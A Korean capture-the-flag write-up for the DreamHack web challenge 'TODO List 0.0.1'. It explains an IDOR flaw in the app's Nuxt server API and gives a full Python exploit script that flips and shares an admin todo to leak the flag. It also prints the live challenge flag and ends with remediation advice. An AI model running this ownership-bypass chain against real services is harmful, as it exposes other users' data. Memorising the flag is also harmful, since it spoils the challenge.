문제: DreamHack — TODO List 0.0.1 분류: Web 난이도: 🥈 Silver 2 FLAG:
DH{3447b6a1637d4f3d48b877b8338f44ab8d5dd8f0a3e17a7fea5ec9f147305f96}
할 일(todo)을 만들고 공유하는 평범한 웹 앱이다. 로그인하면 내 목록만 보이고, 플래그는 admin 계정의 할 일 안에 숨어 있다. 화면에는 남의 목록을 볼 방법이 없다. 그런데 서버 API 를 뜯어 보면 "누가 요청했는지"는 확인하면서 "그 데이터가 그 사람 것인지"는 한 번도 확인하지 않는다. 그 틈으로 admin 의 플래그를 내 목록으로 끌어온다.

문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | TODO List 0.0.1 |
| 난이도 | 🥈 Silver 2 |
| 분류 | Web |
| 스택 | Nuxt 3 (Nitro server API) · SQLite · JWT · bcrypt |
| 제공 | 전체 소스(deploy/) + 라이브 서버 |
| 핵심 취약점 | IDOR / 접근제어 부재 — 상태 변경·공유 API 가 소유권을 검증하지 않음 |
플래그는 DB 에 들어 있는 admin 의 할 일 하나다. 거기까지 가는 길은 세 단계다.
- 아무 계정이나 만들어 로그인한다. 유효한 JWT 가 생긴다.
- 소유권을 안 보는
updateTodo로 플래그 할 일의 "완료" 플래그를 꺼 둔다. - 역시 소유권을 안 보는
shareTodo로 플래그 할 일을 내 계정에 공유한다.
그 다음 내 목록을 조회하면 공유받은 할 일로서 플래그가 따라 나온다.
🧩 배경 — Nuxt3 서버 API 와 JWT 인증
이 앱은 Nuxt 3 다. deploy/server/api/ 아래의 파일 하나가 엔드포인트 하나가 된다. login.js → /api/login, todolist.js → /api/todolist 식이다. 프론트(Vue)는 로그인에 성공하면 받은 토큰을 localStorage 에 넣고, 이후 요청마다 Authorization: Bearer <token> 헤더로 실어 보낸다.
인증은 server/utils/auth.js 한 곳에서 처리한다.
// server/utils/auth.js
export function verifyToken(req) {
const authHeader = req.headers.authorization;
if (!authHeader || !authHeader.startsWith('Bearer ')) {
throw new Error('No token provided');
}
const token = authHeader.split(' ')[1];
return jwt.verify(token, JWT_SECRET_KEY); // { userId, email } 반환
}토큰을 검증해서 userId 를 꺼내 준다. 서명키(JWT_SECRET_KEY)는 서버 환경변수에 박혀 있고 우리는 모른다. 하지만 위조할 필요가 없다. 회원가입 → 로그인만 하면 서버가 멀쩡한 토큰을 발급해 준다. 중요한 건 토큰 자체가 아니라, 그 토큰으로 호출하는 API 들이 userId 를 제대로 쓰느냐다.
로그인은 email 로 사용자를 찾아 bcrypt 로 비밀번호를 비교한다. 여기엔 특별한 허점이 없다.
// server/api/login.js (발췌)
const user = await db.get('SELECT * FROM Users WHERE email = ?', [email]);
const passwordValid = await bcrypt.compare(password, user.password);
const token = jwt.sign({ userId: user.id, email: user.email }, JWT_SECRET_KEY, { expiresIn: '3h' });쿼리는 파라미터 바인딩(?)을 써서 SQL 인젝션도 막혀 있다. 공격면은 로그인이 아니라 할 일 관련 API 쪽이다.
🔬 코드 정찰 — 플래그는 어디에, 그리고 왜 안 보이나
먼저 플래그의 위치부터 확정한다. deploy/create.sql 이 DB 초기 상태를 만든다.
INSERT INTO Users (username, email, password) VALUES ('admin', 'admin@dreamhack.io', 'helloworld');
INSERT INTO Todolist (user_id, name) VALUES (1, 'admin'); -- Todolist.id = 1, admin 소유
INSERT INTO Todo (todo_list_id, title, description, is_completed)
VALUES (1, 'flag', 'DH{sample_flag}', 1); -- 플래그 할 일, is_completed = 1플래그는 Todo 테이블의 첫 행(id=1)이다. admin 의 할 일 목록(todo_list_id=1)에 들어 있고, is_completed = 1(완료 상태)이다. 이 숫자가 뒤에서 걸림돌이자 열쇠가 된다.
로컬에 받은 소스로 도커를 올린 뒤 SQLite 를 직접 열어 보면 그대로다. 로컬 램에서는 플래그 자리에 더미 값(DH{local_test_flag_1533})을 넣어 뒀다.
sqlite3 lab/deploy/mydatabase.db "SELECT id,todo_list_id,title,description,is_completed FROM Todo;"
그럼 내 목록을 보여주는 /api/todolist 는 무엇을 돌려줄까.
// server/api/todolist.js
const userData = verifyToken(event.req);
// (1) 내 Todolist 에 속한 할 일들
const todoList = await db.all(
'SELECT * FROM Todo where todo_list_id=(SELECT id FROM Todolist WHERE Todolist.user_id = ?)',
[userData.userId]);
// (2) 나에게 공유된 할 일들
const sharedList = await db.all('SELECT * FROM TodoShares where user_id = ?', [userData.userId]);
for (const shared of sharedList){
if (shared.permission_type === "owner" || shared.permission_type === "shared")
todoList.push(await db.get('SELECT * FROM Todo where id = ?', [shared.todo_id]));
}
return todoList;목록에는 두 종류가 담긴다. 내 할 일, 그리고 TodoShares 로 나에게 공유된 할 일이다. 두 번째 통로가 핵심이다. 만약 플래그 할 일(id=1)이 TodoShares 에 user_id = 나, permission_type = 'shared' 로 한 줄만 들어가면, 이 반복문이 플래그 할 일을 description 째 내 목록에 밀어 넣는다.
회원가입하면 내 전용 Todolist 가 하나 생기고(할 일은 없음), 로그인 후 목록은 비어 있다.



남은 질문은 하나다. "플래그 할 일을 어떻게 TodoShares 에 내 이름으로 넣느냐."
💣 핵심 취약점 — 소유권을 안 보는 두 API
공유를 담당하는 shareTodo.js 를 보자.
// server/api/shareTodo.js
const userData = verifyToken(event.req);
const todo = body; // 요청 본문을 그대로 사용
const todo_data = await db.get('SELECT * FROM Todo WHERE id = ?', [todo.id]);
if (todo_data.is_completed === 1) {
return { message: 'you cannot share already completed todo', id: todo_data.id };
}
const result = await db.run(
`INSERT INTO TodoShares (todo_id, user_id, permission_type) VALUES (?, ?, ?)`,
[todo_data.id, todo.target_id, 'shared']);문제가 두 개다.
첫째, 공유할 할 일의 소유자를 확인하지 않는다. todo.id 로 아무 할 일이나 집어서 공유할 수 있다. target_id 도 요청 본문에서 그대로 받으니, "플래그 할 일(id=1)을 내 userId 에게 공유"가 그대로 먹힌다.
둘째, 유일한 방어가 is_completed === 1 체크다. 완료된 할 일은 공유를 거부한다. 그런데 플래그 할 일은 is_completed = 1 이라 바로 이 분기에 걸린다. 공유가 안 된다.
▶🐛 삽질 — updateTodo 없이 바로 공유하면 막힌다
처음엔 shareTodo 하나로 끝날 줄 알았다. 소유권 검증이 없으니 플래그 할 일(id=1)을 바로 내 계정에 공유하면 되지 않을까. 로컬 도커에 계정을 하나 만들고 updateTodo 를 건너뛴 채 shareTodo 만 때려 봤다.
# probe_blocked.py — updateTodo 생략하고 바로 shareTodo id=1
token = json.loads(req('/api/login', {'email': e, 'password': p})[1])['token']
print('[!] updateTodo 생략하고 바로 shareTodo id=1 호출:')
print(' ', req('/api/shareTodo', {'id': 1, 'target_id': 2}, token)[1])python3 probe_blocked.py http://127.0.0.1:18080
you cannot share already completed todo. 완료 체크에 정확히 걸렸다. 공유 API 는 뚫렸지만 플래그 할 일이 하필 완료 상태라 한 단계가 더 필요했다. 그 완료 상태를 바꿀 방법만 있으면 된다 — 그게 updateTodo 다.
이 걸림돌을 치워 주는 게 updateTodo.js 다.
// server/api/updateTodo.js
const userData = verifyToken(event.req);
const { id, value } = body;
const result = await db.run(
`UPDATE todo SET is_completed = ? WHERE id = ?`,
[value, id]);verifyToken 으로 로그인 여부만 보고, 그 뒤로는 userData 를 한 번도 쓰지 않는다. id 로 지정한 아무 할 일의 is_completed 를 아무 값으로나 바꾼다. 소유권 검증이 통째로 빠진 전형적인 IDOR 다.
그래서 순서가 정해진다. updateTodo 로 플래그 할 일의 완료 상태를 꺼서(is_completed = 0) shareTodo 의 방어를 무력화하고, shareTodo 로 플래그 할 일을 내 계정에 공유한 뒤, todolist 로 받아 온다.

참고로 프론트의 할 일 화면에는 공유 버튼이 주석 처리("under construction")돼 있다. UI 로는 못 누르는 미완성 기능인데, 서버 엔드포인트는 멀쩡히 살아서 응답한다. 화면에 없다고 API 가 없는 게 아니다.
🎯 익스플로잇 — 로컬 도커로 먼저 검증
라이브에 붙기 전에 받은 소스로 도커를 올려 체인이 끝까지 도는지 확인했다. 익스는 표준 라이브러리만 쓴 짧은 스크립트다.
#!/usr/bin/env python3
import sys, json, time, base64, urllib.request, urllib.error
BASE = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://127.0.0.1:18080'
def req(path, method='GET', body=None, token=None):
data = json.dumps(body).encode() if body is not None else None
r = urllib.request.Request(BASE + path, data=data, method=method)
r.add_header('Content-Type', 'application/json')
if token:
r.add_header('Authorization', 'Bearer ' + token)
try:
with urllib.request.urlopen(r, timeout=15) as resp:
return resp.getcode(), resp.read().decode()
except urllib.error.HTTPError as e:
return e.code, e.read().decode()
def jwt_userid(tok):
p = tok.split('.')[1]
p += '=' * (-len(p) % 4)
return json.loads(base64.urlsafe_b64decode(p)).get('userId')
user = 'zino_%d' % int(time.time())
email = user + '@test.com'
pw = 'pw_zino_1234'
print('[*] target =', BASE)
print('[1] signup:', req('/api/signup', 'POST', {'username': user, 'email': email, 'password': pw}))
code, txt = req('/api/login', 'POST', {'email': email, 'password': pw})
print('[2] login :', code, txt)
token = json.loads(txt)['token']
myid = jwt_userid(token)
print(' -> my userId =', myid)
print('[3] updateTodo id=1 value=0 (IDOR):', req('/api/updateTodo', 'POST', {'id': 1, 'value': 0}, token))
print('[4] shareTodo id=1 target_id=%d :' % myid, req('/api/shareTodo', 'POST', {'id': 1, 'target_id': myid}, token))
code, txt = req('/api/todolist', 'GET', token=token)
print('[5] todolist:', code)
rows = json.loads(txt)
print(json.dumps(rows, indent=2, ensure_ascii=False))
for row in rows:
if row and row.get('title') == 'flag':
print('\n[+] FLAG =', row.get('description'))
breaksignup → login 으로 토큰을 받고, 토큰 페이로드에서 내 userId 를 꺼낸다. 그 뒤 updateTodo → shareTodo → todolist 를 순서대로 때린다. 로컬 도커(127.0.0.1:18080)에 돌리면 이렇게 나온다.
python3 solve.py http://127.0.0.1:18080
[3] updateTodo 와 [4] shareTodo 가 모두 success: true, [5] todolist 응답의 배열에 title: "flag", description: "DH{local_test_flag_1533}", is_completed: 0 이 섞여 돌아온다. 체인이 설계대로 돈다.
🚀 Full Exploit — 라이브 재현
로컬에서 확신이 섰으니 대상 URL 만 바꿔 라이브 서버에 그대로 돌린다. 코드 수정은 없다.
python3 solve.py http://host3.dreamhack.games:21735
[+] FLAG = DH{3447b6a1637d4f3d48b877b8338f44ab8d5dd8f0a3e17a7fea5ec9f147305f96}. 끝이다.
한 가지 덧붙이면, 플래그를 API 응답으로만 확인한 게 아니다. 공유가 실제로 "내 목록"에 꽂힌 것이라, 그 계정으로 로그인해 메인 화면을 열면 플래그 할 일이 UI 에 그대로 렌더된다. 할 일 한 줄을 {{ item.title }}: {{ item.description }} 으로 찍는 템플릿이라, flag: DH{...} 가 리스트 항목으로 보인다.

FLAG: DH{3447b6a1637d4f3d48b877b8338f44ab8d5dd8f0a3e17a7fea5ec9f147305f96}
📝 결론
인증과 인가는 다른 일이다.
이 앱은 verifyToken 으로 "로그인했는가"(인증)는 매번 확인한다. 하지만 "이 데이터에 손댈 권한이 있는가"(인가)는 어디서도 확인하지 않았다. updateTodo 와 shareTodo 는 토큰에서 userId 를 꺼내 놓고도 쓰지 않는다. 그 한 줄의 공백이 남의 데이터를 통째로 내준다.
상태를 바꾸는 모든 API 는 대상의 소유권을 서버에서 확인해야 한다.
updateTodo 라면 UPDATE todo SET is_completed=? WHERE id=? AND todo_list_id IN (SELECT id FROM Todolist WHERE user_id=?) 처럼 요청자의 userId 를 조건에 넣어 남의 행은 아예 못 건드리게 해야 한다. shareTodo 도 공유하려는 할 일이 요청자 소유인지 먼저 따져야 한다. 클라이언트가 보낸 target_id·id 를 그대로 신뢰하면 안 된다.
방어는 UI 가 아니라 서버에 둬야 한다.
공유 기능은 화면에서 버튼을 주석 처리해 "비활성화"했지만 엔드포인트는 그대로 열려 있었다. 숨긴 것과 막은 것은 다르다. 미완성 기능이라면 라우트 자체를 내리거나 권한으로 차단해야지, 버튼만 감춰 두면 공격자는 API 를 직접 부른다.
비밀을 "완료된 todo" 같은 상태값으로 가리지 말 것.
is_completed = 1 은 접근제어가 아니라 그냥 데이터 플래그였다. 같은 사용자가 바꿀 수 있는 값으로 비밀을 가리면, 그 값은 방어선이 아니다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…